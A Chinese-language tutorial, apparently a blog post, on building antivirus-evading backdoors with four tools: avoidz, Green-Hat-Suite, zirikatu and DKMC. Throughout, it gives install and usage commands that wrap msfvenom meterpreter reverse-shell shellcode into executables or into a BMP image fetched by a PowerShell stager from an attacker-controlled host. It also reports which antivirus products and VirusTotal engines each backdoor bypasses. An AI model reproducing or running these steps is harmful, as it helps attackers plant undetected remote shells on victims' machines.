参考资料
官方使用教程:https://www.youtube.com/watch?v=ZilOByKkrVk
官方使用教程:https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite
Msf&zirikatu免杀结合利用:http://www.secist.com/archives/3113.html
avoidz
介绍
Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。
安装
git clone https://github.com/M4sc3r4n0/avoidz
apt install mingw-w64 #apt安装源中已经删除了mingw32,所以只能安装mingw-w64,之后在做32位的软链接
ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc #做个软链接,方便软件识别的到
chmod +x setup.sh
./setup.sh
使用avoidz编译C#生成exe(VT免杀率37/70)
提供3种C代码编译成exe的方式,想了解详情的可以cat avoidz.rb
查看具体区别
我以第一种为例进行测试
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1
默认文件生成到root目录下
可以正常上线
360和火绒都能过静态,但是动态会报执行powershell,所以powershell这块的命令执行真的有点难搞
上vt:
过了卡巴,我不是在做梦吧,360都过不了,到时候再装个卡巴测试一下
python的由于我的环境装失败了,就不进行演示了
使用avoidz编译golang生成exe(VT免杀率16/70)
./avoidz.rb -h 192.168.42.138 -p 3333 -m windows/meterpreter/reverse_tcp -f go
仍然是可以过静态,但是动态的搞不定
上vt
效果还不错
小结
avoidz的原理还是比较简单的,msfvenom生成powershell的shellcode,然后各种语言编译一下生成exe,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和TheFatRat具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。
Green-Hat-Suite免杀(VT免杀率23/70)
介绍
Green-Hat-Suite是国内大佬Green-m
的大作,Green-m
大佬在freebuf和自己博客上https://green-m.me/
写了很多免杀相关的文章,开始的几篇文章里面有一些知识点就是从他那学到的,而且msfvenom命令自动补全脚本也是出自他之手。
Green-Hat-Suite也是和msf无缝对接的免杀工具,使用ruby开发,可在linux/windows上安装,使用非常简单,虽然已经接近两年没有更新了,但目前来看免杀效果仍然很不错。
安装
git clone https://github.com/Green-m/green-hat-suite
apt-get install metasploit-framework
gem install os
apt-get install mingw-w64
apt-get install wine
# 安装tdm-gcc
TMP=`mktemp /tmp/XXXXXXXXX.exe` && wget https://sourceforge.net/projects/tdm-gcc/files/latest/download -O $TMP && wine $TMP && rm $TMP
windows版本安装
git clone https://github.com/Green-m/green-hat-suite
在powershell中执行其中的install.ps1
,也是安装ruby、msf、gcc、mingw-w64这些,作者说比较慢,我没在windows下安装,如有需要请自行在windows下安装测试。
使用
作者提供了使用说明
https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite
使用方法:
ruby greenhat.rb
windows/meterpreter/reverse_tcp
192.168.42.138
3333
没有过火绒以及360
上vt:
看起来还可以
因为Green-Hat-Suite使用了多种方式对shellocde进行处理,所以导致每次生成的shellcode都不同,被查杀的概率也不一样。
小结
Green-Hat-Suite调用了msfvenom进行随机编码生成shellcode,然后Green-Hat-Suite对shellcode进行多重免杀处理混淆,并最终编译生成不同的exe后门文件。虽然原理不算复杂,但两年前的作品,至今来说免杀效果仍很不错。
zirikatu免杀(VT免杀率39/71)
介绍
zirikatu是一个用bash编写的小脚本,依赖于msf、mono、mcs等软件,也是调用msfvenom生成shellcode,然后将shellcode嵌入C#代码,试用Mcs编译生成exe后门。
Mono可以让.NET程序跨平台运行在Linux,BSD,Windows,MacOS,Sun Solaris,Wii,索尼PlayStation,苹果iPhone等几乎所有常见的操作系统之上。从Mono2.11版本开始,采用的编译器叫mcs,它的作用是将C#编译为CIL(Common Language Infrastructure,通用中间语言,也叫MSIL微软中间语言,这个语言能运行在所有支持CIL的环境中)
安装
git clone https://github.com/pasahitz/zirikatu.git
使用说明
chmod +x zirikatu.sh
./zirikatu.sh
选择了1,之后都是常规操作了
过掉了火绒,但是360先是成功了,过了一段时间又杀掉了,而这段时间我还没传vt,估计是扔在沙箱里面跑出问题了
上vt:
有点惨
小结
zirikatu利用msfvenom生成shellcode,之后再进行一定处理,编译生成exe。原理比较简单,操作比较方便,免杀效果相比专题12里的Green-Hat-Suite来说虽然一般,但能过火绒和瑞星的确有点出人意料。
DKMC免杀(VT免杀率8/55)
介绍
DKMC是Don't Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的...DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。
安装
git clone https://github.com/Mr-Un1k0d3r/DKMC
cd DKMC
mkdir output
使用说明
python dkmc.py
五个选项,翻译如下
[*] (gen) 将msf的shellcode注入到一个BMP图像
[*] (web) 启动web服务用来分发BMP图像
[*] (ps) 生成ps的payload
[*] (sc) 将msf生成的raw文件转为shellcode
[*] (exit) 退出
这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。
生成一个后门的流程大体为:
1、先利用msf生成raw文件
2、利用sc
讲raw文件转换为shellcode
3、利用gen
将上一步的shellcode注入到一个BMP图像
4、利用ps
生成基于powershell的BMP文件的payload
5、利用web
提供的简单web服务进行分发BMP文件
利用DKMC生成后门
先利用Msf生成raw格式的shellcode,稍微编码了一下
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.42.138 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/DKMC.raw
然后在主菜单里面选择sc,然后设置source
为/root/DKMC.raw
,再执行run
生成shellcode。
复制一下生成的shellcode,输入exit
退回到主菜单。
然后在主菜单中选择gen
,然后设置shellcode
为上一步中生成的shellcode,然后run。
看到生成了output-1581602390.bmp
图像文件,输入exit
退回到主菜单。
在主菜单中选择ps
,设置url地址,这个url地址就是web分发图像文件的地址。
我的kali虚拟机的地址为192.168.42.138
,我打算用默认的80端口,这样我的url地址为http://192.168.42.138/output-1581602390.bmp
然后设置url:set url http://192.168.42.138/output-1581602390.bmp,然后执行run生成powershell执行脚本
复制一下生成的ps代码,输入exit退回到主菜单
最后一步,在主菜单选择web,使用 run 命令
图片可以正常打开